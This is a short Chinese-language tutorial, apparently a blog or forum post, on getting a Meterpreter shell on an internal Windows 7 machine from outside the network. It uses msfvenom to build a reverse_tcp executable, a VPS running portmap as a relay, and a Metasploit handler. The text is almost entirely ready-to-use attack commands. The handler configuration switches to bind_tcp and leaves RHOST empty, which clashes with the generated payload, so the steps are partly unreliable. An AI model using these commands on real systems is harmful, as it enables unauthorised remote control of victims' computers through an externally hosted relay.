msfconsole利用端口转发实现外网shell
> 前面的几期文章中,我们提到过利用 `花生壳`、`frp` 等搭建内网映射的方式。实现 msf 外网 shell。但是这种方法不稳定,因为无论时那种方法都需要在本地运行客户端的支持。一旦客户端关闭我们建立的 shell 也就关闭了!今天来看看另外一种实现方案吧!!(https://blog.bbskali.cn/usr/uploads/2020/10/522253521.png)
### 实验环境
* Kali 2020(内网,测试机)
* VPS(公网 IP,端口转发,"中转站")
* Windows 7 sp1 (内网,靶机)
* portmap (端口转发工具)
### 生成 shell
```
msfvenom -p windows/meterpreter/reverse_tcp lhost=*.*.*.* lport=8181 -f exe > shell.exe
```
**参数说明:**
`lhost` :公网 ip
`lport` :公网端口
ps:端口除去公共端口都行(`22` `80` 等…… ),这里就设置为 8181
### VPS 监听端口及转发
在 VPS 使用 `portmap` 工具进行端口转发,一开始可能会执行不了,先给 portmap 执行权限
```
chmod +x portmap # 赋予执行权限
./portmap -m 2 -p1 8181 -p2 5555 # 运行、监听
```
`PS` **将 8181 端口接收的内容转发到 5555 端口,也就是靶机连接到 VPS 的 8181 端口,测试机连接到 5555 端口**
![端口转发](https://blog.bbskali.cn/usr/uploads/2020/10/1545149404.png)
### 配置 msf
```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set RHOST
msf5 exploit(multi/handler) > set LPORT 5555 # 端口设置为VPS转发的端口
msf5 exploit(multi/handler) > run
```
VPS 配置端口转发,把 8181 端口转发到 5555,相当于 VPS 的 5555 端口绑定了一个 shell,等待我们去连接,所以这里使用正向连接 `bind_tcp`
### 运行 shell
![成功得到反弹](https://blog.bbskali.cn/usr/uploads/2020/10/3127865819.png)
正向 shell 理解
`bind_tcp` 这是一个基于 TCP 的正向连接 shell(直连 shell),将 shell 绑定到一个本地端口上,这样任何人都可以在本地网络中发送命令。靶机监听,等待测试机连接,就像服务器的 SSH 一样,开启一个端口,等待连接
页:
[1]